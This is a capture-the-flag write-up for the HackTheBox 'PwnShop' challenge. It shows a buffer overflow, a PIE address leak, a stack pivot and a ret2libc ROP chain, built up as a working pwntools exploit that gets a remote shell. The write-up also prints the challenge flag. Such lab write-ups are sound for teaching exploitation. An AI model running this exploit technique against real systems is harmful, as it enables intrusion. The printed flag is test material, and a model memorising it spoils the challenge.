PwnShop
14 minutes to read
We are given a 64-bit binary called pwnshop
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Reverse engineering
We can use Ghidra to analyze the binary and look at the decompiled source code in C:
undefined[16] main() {
int option_char;
ulong in_RCX;
char option;
setup();
puts("========= HTB PwnShop ===========");
while (true) {
while (true) {
puts("What do you wanna do?");
printf("1> Buy\n2> Sell\n3> Exit\n> ");
option_char = getchar();
getchar();
option = (char) option_char;
if (option != '2') break;
sell();
}
if (option == '3') break;
if (option == '1') {
buy();
} else {
puts("Please try again.");
}
}
return ZEXT816(in_RCX) << 0x40;
}
The first option is buy
:
void buy() {
char details[72];
puts("Sorry, we aren\'t selling right now.");
printf("But you can place a request. \nEnter details: ");
read(0, details, 80);
}
And this is the second option, sell
:
void sell() {
int res;
long i;
byte zero;
char item[32];
char price[8];
char *details;
undefined4 *pointer;
zero = 0;
details = details_global;
printf("What do you wish to sell? ");
price = (char[8]) 0x0;
pointer = (undefined4 *) item;
for (i = 8; i != 0; i--) {
*pointer = 0;
pointer = pointer + (ulong) zero * -2 + 1;
}
read(0, item, 31);
printf("How much do you want for it? ");
read(0, price, 8);
res = strcmp(price, "13.37\n");
if (res == 0) {
puts("Sounds good. Leave details here so I can ask my guy to take a look.");
pointer = (undefined4 *) details;
for (i = 16; i != 0; i--) {
*pointer = 0;
pointer = pointer + (ulong) zero * -2 + 1;
}
read(0, details, 64);
} else {
printf("What? %s? The best I can do is 13.37$\n", price);
}
}
Here, we have the chance to write data into details_global
(a global variable). For this, we need to enter "13.37\n"
as price
. Moreover, if price
is not equal to "13.37\n"
, it is printed out.
Buffer Overflow vulnerability
The binary is vulnerable to Buffer Overflow in buy
since there is a variable called data
that has 72 bytes assigned as buffer, but the program is reading up to 80 bytes from stdin
and storing the data into data
, overflowing the reserved buffer if the size of the input data is greater than 72 bytes.
Due to the fact that it is a 64-bit binary without canary protection, after the reserved buffer of 72 bytes, we find the saved value of $rbp
, and right after, the saved return address. Fortunately, this time there is no saved $rbp
, so we will be overwriting the return address. We can see this looking at the assembly code:
$ objdump -M intel -j .text -d pwnshop
pwnshop: file format elf64-x86-64
Disassembly of section .text:
00000000000010a0 <.text>:
10a0: 55 push rbp
10a1: 31 c0 xor eax,eax
10a3: 48 8d 2d 79 10 00 00 lea rbp,[rip+0x1079] # 2123 <setvbuf@plt+0x1093>
...
132a: 48 83 ec 48 sub rsp,0x48
132e: 48 8d 3d 7a 0d 00 00 lea rdi,[rip+0xd7a] # 20af <setvbuf@plt+0x101f>
1335: e8 f6 fc ff ff call 1030 <puts@plt>
133a: 48 8d 3d 92 0d 00 00 lea rdi,[rip+0xd92] # 20d3 <setvbuf@plt+0x1043>
1341: 31 c0 xor eax,eax
1343: e8 f8 fc ff ff call 1040 <printf@plt>
1348: 48 89 e6 mov rsi,rsp
134b: ba 50 00 00 00 mov edx,0x50
1350: 31 ff xor edi,edi
1352: e8 09 fd ff ff call 1060 <read@plt>
1357: 48 83 c4 48 add rsp,0x48
135b: c3 ret
...
13c5: 66 66 2e 0f 1f 84 00 data16 nop WORD PTR cs:[rax+rax*1+0x0]
13cc: 00 00 00 00
13d0: f3 0f 1e fa endbr64
13d4: c3 ret
As can be seen, there is sub rsp, 0x48
, then the program reads up to 0x50
bytes, and at the end it reverts the stack using add rsp,0x48
. Since there is no leave; ret
instruction, $rbp
is not taken into account, just the saved return address.
Exploit strategy
Since the binary has NX protection, we must use Return Oriented Programming (ROP) to execute arbitrary code. This technique makes use of gadgets, which are sets of instructions that end in ret
(usually). We can add a list of addresses for gadgets on the stack so that when a gadget is executed, it returns to the stack and executes the next gadget. That is the meaning of ROP chain.
This is a bypass for NX protection since we are not executing instructions in the stack (shellcode), but we are redirecting the program to specific addresses that are executable and run the instructions we want.
In order to gain code execution, we will perform a ret2libc attack. This technique consists of calling system
inside Glibc using "/bin/sh"
as first parameter to the function (which is also inside Glibc). The problem we must handle is ASLR, which is a protection set for shared libraries that randomize a base address.
Since we want to call system
and take "/bin/sh"
, we need to know the addresses of those values inside Glibc at runtime (these addresses will change in every execution). Hence, we must find a way to leak an address inside Glibc because the only thing that is random is the base address of Glibc; the rest of the addresses are computed as offsets to that base address.
Since the binary has PIE enabled, we need to leak an address of the binary at runtime and compute the base address using offsets.
The process of leaking a function comes with calling puts
using an address from the Global Offset Table (GOT) as first argument (for example, setvbuf
). This table contains the real addresses of the external functions used by the program (if they have been resolved). Since puts
is used by the binary, to call it we can use the Procedure Linkage Table (PLT), which applies a jump instruction to the real address of puts
.
One more thing to consider is the use of gadgets. Because of the calling conventions for 64-bit binaries, when calling a function, the arguments must be stored in registers (in order: $rdi
, $rsi
, $rdx
, $rcx
…). For example, the instruction pop rdi
will take the next value from the stack and store it in $rdi
.
Exploit development
Nice, let’s start with the leakage process. First of all, let’s leak an address of the binary. The best is to run GDB and take a look at price
before writing, so let’s inpsect the address:
$ gdb -q pwnshop
Reading symbols from pwnshop...
(No debugging symbols found in pwnshop)
gef➤ run
Starting program: ./pwnshop
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 2
What do you wish to sell? asdf
How much do you want for it? ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7fffffffe640, nbytes=0x8) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
The address of item
is in $rsi
(the second argument of read
):
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe620 - 0x7fffffffe626 → "asdf\n"
gef➤ x/20gx 0x7fffffffe620
0x7fffffffe620: 0x0000000a66647361 0x0000000000000000
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x0000000000000000 0x00005555555580c0
0x7fffffffe650: 0x0000000000000032 0x0000000000000032
0x7fffffffe660: 0x0000555555556123 0x00005555555550fe
0x7fffffffe670: 0x0000555555555360 0x0000555555555360
0x7fffffffe680: 0x0000000000000000 0x00007ffff7de1083
0x7fffffffe690: 0x00007ffff7ffc620 0x00007fffffffe778
0x7fffffffe6a0: 0x0000000100000000 0x00005555555550a0
0x7fffffffe6b0: 0x0000555555555360 0x4f8b73ff7c1dbc64
PIE bypass
Notice that 0x00005555555580c0
is an address of the binary (actually, the address of details_global
). Also, price
will be 8 bytes before that address. Therefore, if we enter exactly 8 bytes, the program will print out the price and the address will be leaked because strings in C end in a null byte, and there is no null byte there:
gef➤ ni
AAAAAAAA
0x00007ffff7ecafd2 26 in ../sysdeps/unix/sysv/linux/read.c
gef➤ x/20gx 0x7fffffffe620
0x7fffffffe620: 0x0000000a66647361 0x0000000000000000
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x4141414141414141 0x00005555555580c0
0x7fffffffe650: 0x0000000000000032 0x0000000000000032
0x7fffffffe660: 0x0000555555556123 0x00005555555550fe
0x7fffffffe670: 0x0000555555555360 0x0000555555555360
0x7fffffffe680: 0x0000000000000000 0x00007ffff7de1083
0x7fffffffe690: 0x00007ffff7ffc620 0x00007fffffffe778
0x7fffffffe6a0: 0x0000000100000000 0x00005555555550a0
0x7fffffffe6b0: 0x0000555555555360 0xc4df5b54e114ad2c
gef➤ continue
Continuing.
What? AAAAAAAAUUUU? The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
>
Let’s start with this Python script to catch this memory leak:
#!/usr/bin/env python3
from pwn import *
context.binary = 'pwnshop'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'What do you wish to sell? ', b'asdf')
p.sendafter(b'How much do you want for it? ', b'A' * 8)
p.recvuntil(b'? ')
details_global_addr = u64(p.recvuntil(b'?')[8:-1].ljust(8, b'\0'))
log.info(f'Leaked an ELF address: {hex(details_global_addr)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1152256
[*] Leaked an ELF address: 0x55b344cf90c0
[*] Switching to interactive mode
The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
> $
Alright, now we can return to GDB and find the offset to the base address of the binary:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- ./pwnshop
0x00555555555000 0x00555555556000 0x00000000001000 r-x ./pwnshop
0x00555555556000 0x00555555557000 0x00000000002000 r-- ./pwnshop
0x00555555557000 0x00555555558000 0x00000000002000 r-- ./pwnshop
0x00555555558000 0x00555555559000 0x00000000003000 rw- ./pwnshop
0x007ffff7dbd000 0x007ffff7ddf000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7ddf000 0x007ffff7f57000 0x00000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7f57000 0x007ffff7fa5000 0x0000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa5000 0x007ffff7fa9000 0x000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa9000 0x007ffff7fab000 0x000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fab000 0x007ffff7fb1000 0x00000000000000 rw-
0x007ffff7fc9000 0x007ffff7fcd000 0x00000000000000 r-- [vvar]
0x007ffff7fcd000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
gef➤ p/x 0x00005555555580c0 - 0x00555555554000
$1 = 0x40c0
So, using these lines we have the base address:
elf_addr = details_global_addr - 0x40c0
log.success(f'ELF base address: {hex(elf_addr)}')
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1155249
[*] Leaked an ELF address: 0x55e1931b10c0
[+] ELF base address: 0x55e1931ad000
[*] Switching to interactive mode
The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
> $
As a sanity check, we can verify that the base address ends in 000
in hexadecimal.
Crafting the ROP chain
At this point, we can continue by using a ROP chain to leak an address of Glibc (as explained before).
Although we can overwrite the return address and redirect program execution, we don’t have enough space to enter the ROP chain in the stack. However, we can try to modify the $rsp
register to get more space. These are the involved gadgets:
$ ROPgadget --binary pwnshop | grep rsp
0x0000000000001323 : add rsp, 0x38 ; pop rbx ; pop rbp ; ret
0x0000000000001357 : add rsp, 0x48 ; ret
0x0000000000001016 : add rsp, 8 ; ret
0x00000000000013db : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000000013bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000000013dd : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000001219 : sub rsp, 0x28 ; ret
0x00000000000013dc : sub rsp, 8 ; add rsp, 8 ; ret
There is no easy way of pivoting the stack, but this is a strange gadget: sub rsp, 0x28; ret
. Actually, we control 0x50
bytes of the stack. In order to find where to enter the addresses, let’s use recognizable values and attach GDB:
def main():
p = get_process()
gdb.attach(p, 'continue')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'What do you wish to sell? ', b'asdf')
p.sendafter(b'How much do you want for it? ', b'A' * 8)
p.recvuntil(b'? ')
details_global_addr = u64(p.recvuntil(b'?')[8:-1].ljust(8, b'\0'))
log.info(f'Leaked details_global address: {hex(details_global_addr)}')
elf_addr = details_global_addr - 0x40c0
log.success(f'ELF base address: {hex(elf_addr)}')
sub_rsp_0x28_ret = elf_addr + 0x1219
payload = b''
c = ord('A')
while len(payload) != 72:
payload += bytes([c] * 8)
c += 1
payload += p64(sub_rsp_0x28_ret)
p.sendlineafter(b'> ', b'1')
p.sendafter(b'Enter details: ', payload)
p.interactive()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1210228
[*] running in new terminal: ['/usr/bin/gdb', '-q', './pwnshop', '1210228', '-x', '/tmp/pwneb4m3_hv.gdb']
[+] Waiting for debugger: Done
[*] Leaked details_global address: 0x5556e442a0c0
[+] ELF base address: 0x5556e4426000
[*] Switching to interactive mode
$
The program crashes, but this is the stack at this point:
gef➤ x/8gx $rsp
0x7fffa5ba1548: 0x4646464646464646 0x4747474747474747
0x7fffa5ba1558: 0x4848484848484848 0x4949494949494949
0x7fffa5ba1568: 0x00005556e4427219 0x00005556e4427360
0x7fffa5ba1578: 0x00005556e4427360 0x0000000000000000
Therefore, we have 4 slots to enter ROP gadgets. Let’s craft ROP chain to leak an address of Glibc using the GOT and the PLT (as usually). These are the necessary offsets:
- Offset of
pop rdi; ret
gadget (0x13c3
):
$ ROPgadget --binary pwnshop | grep 'pop rdi'
0x00000000000013c3 : pop rdi ; ret
- Offset of
setvbuf
at the GOT (0x4038
):
$ objdump -M intel -R pwnshop | grep setvbuf
0000000000004048 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
- Offset of
puts
at the PLT (0x1030
):
$ objdump -M intel -d pwnshop | grep '<puts@plt>:'
0000000000001030 <puts@plt>:
- Recall that
buy
is at offset0x132a
Leaking memory addresses
So we have this payload:
sub_rsp_0x28_ret = elf_addr + 0x1219
pop_rdi_ret = elf_addr + 0x13c3
setvbuf_got_addr = elf_addr + 0x4048
puts_plt_addr = elf_addr + 0x1030
buy_addr = elf_addr + 0x132a
payload = b'A' * 8 * 5
payload += p64(pop_rdi_ret)
payload += p64(setvbuf_got_addr)
payload += p64(puts_plt_addr)
payload += p64(buy_addr)
payload += p64(sub_rsp_0x28_ret)
p.sendlineafter(b'> ', b'1')
p.sendafter(b'Enter details: ', payload)
p.interactive()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1287589
[*] Leaked details_global address: 0x56069695a0c0
[+] ELF base address: 0x560696956000
[*] Switching to interactive mode
\xe0<\xc7̛\x7f
Sorry, we aren't selling right now.
But you can place a request.
Enter details: $
And there we have the leak. Let’s catch it and find the base address of Glibc to bypass ASLR:
$ ldd pwnshop
linux-vdso.so.1 (0x00007ffe2cd77000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1fdc075000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1fdc281000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep setvbuf
442: 0000000000084ce0 583 FUNC GLOBAL DEFAULT 15 _IO_setvbuf@@GLIBC_2.2.5
1988: 0000000000084ce0 583 FUNC WEAK DEFAULT 15 setvbuf@@GLIBC_2.2.5
setvbuf_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked setvbuf() address: {hex(setvbuf_addr)}')
setvbuf_offset = 0x84ce0
glibc_addr = setvbuf_addr - setvbuf_offset
log.success(f'Glibc base address: {hex(glibc_addr)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1288432
[*] Leaked details_global address: 0x561736fb40c0
[+] ELF base address: 0x561736fb0000
[*] Leaked setvbuf() address: 0x7f934a07bce0
[+] Glibc base address: 0x7f9349ff7000
[*] Switching to interactive mode
Sorry, we aren't selling right now.
But you can place a request.
Enter details: $
There it is. Again, we can verify that the base address ends in 000
in hexadecimal.
Let’s take all the offsets needed to continue with a ret2libc attack (notice that we are solving the challenge locally):
- Offset of
system
(0x52290
):
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153ae0 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000052290 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
- Offset of
"/bin/sh"
(0x1b45bd
):
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
Getting RCE
Then, we can compute the real addresses of system
and "/bin/sh"
at runtime and finish the exploit:
setvbuf_offset = 0x84ce0
system_offset = 0x52290
bin_sh_offset = 0x1b45bd
glibc_addr = setvbuf_addr - setvbuf_offset
log.success(f'Glibc base address: {hex(glibc_addr)}')
system_addr = glibc_addr + system_offset
bin_sh_addr = glibc_addr + bin_sh_offset
payload = b'A' * 8 * 5
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret + 1)
payload += p64(system_addr)
payload += p64(sub_rsp_0x28_ret)
p.sendafter(b'Enter details: ', payload)
p.interactive()
Notice the use of pop_rdi_ret + 1
as a ret
gadget to prevent stack alignment issue before calling system
. Now the exploit works locally:
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1299852
[*] Leaked details_global address: 0x55b12e8b30c0
[+] ELF base address: 0x55b12e8af000
[*] Leaked setvbuf() address: 0x7f03d716ace0
[+] Glibc base address: 0x7f03d70e6000
[*] Switching to interactive mode
$ ls
pwnshop solve.py
Nice, let’s run it in the remote instance:
$ python3 solve.py 134.122.111.164:30819
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 134.122.111.164 on port 30819: Done
[*] Leaked details_global address: 0x5569018770c0
[+] ELF base address: 0x556901873000
[*] Leaked setvbuf() address: 0x7f270d5cae80
[+] Glibc base address: 0x7f270d5461a0
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
We don’t get a shell because the remote instance has a different Glibc version. One way of getting it is searching for the last three hexadecimal digits of an address leak (for instance, setvbuf
) in a website like libc.rip. We find some matching Glibc versions and the offsets of useful functions:
Fortunately, the one that matches with the remote instance is the first one.
Flag
After changing the offset values in the exploit, we will finally get a shell:
$ python3 solve.py 134.122.111.164:30819
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 134.122.111.164 on port 30819: Done
[*] Leaked details_global address: 0x563c175640c0
[+] ELF base address: 0x563c17560000
[*] Leaked strcmp() address: 0x7fdd05ae3e80
[+] Glibc base address: 0x7fdd05a74000
[*] Switching to interactive mode
$ ls
core
flag.txt
pwnshop
$ cat flag.txt
HTB{th1s_is_wh@t_I_c@ll_a_g00d_d3a1!}
The full exploit script can be found in here: solve.py
.